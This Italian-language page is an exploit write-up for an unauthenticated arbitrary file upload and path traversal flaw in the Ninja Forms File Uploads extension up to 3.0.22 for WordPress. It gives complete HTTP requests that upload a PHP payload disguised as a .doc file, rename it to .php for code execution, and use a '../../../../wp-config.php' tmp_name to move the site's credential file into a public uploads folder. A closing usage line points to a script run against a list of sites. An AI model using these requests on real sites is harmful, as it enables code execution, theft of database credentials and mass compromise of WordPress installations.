
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Caricamento file arbitrario non autenticato
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Upload Arbitrario di File Non Autenticato
Path Traversal e Upload di File senza Restrizioni è presente nel plugin Ninja Forms prima della versione 3.0.23 per WordPress (quando l'add-on Uploads è attivato). Ciò consente a un attaccante di attraversare il file system per accedere ai file ed eseguire codice tramite i parametri name e tmp_name in includes/fields/upload.php (nota anche come pagina upload/submit).
Richiesta iniziale di caricamento file:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
Risposta:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
Quando il modulo viene inviato, il file tmp caricato inizialmente viene spostato in una nuova posizione:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
Il parametro “name” viene quindi “sanitizzato” dalla funzione WordPress sanitize_file_name, che essenzialmente rimuove solo un insieme di caratteri speciali predefiniti:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
Ciò comporta lo spostamento del file tmp nella sua posizione finale: /wp-content/uploads/ninja-forms/1/test.php
Se la cartella di upload non è stata resa esplicitamente non eseguibile, il che non avviene per impostazione predefinita, ciò comporta l'esecuzione di codice:

Path Traversal nel tmp_name:
quando si invia il modulo, è anche possibile attraversare il file system tramite il parametro tmp_name come mostrato di seguito. Tieni presente che i file tmp vengono spostati nella loro nuova posizione all'interno della cartella uploads!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
Ciò comporta lo spostamento del file wp-config.php nella seguente posizione: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt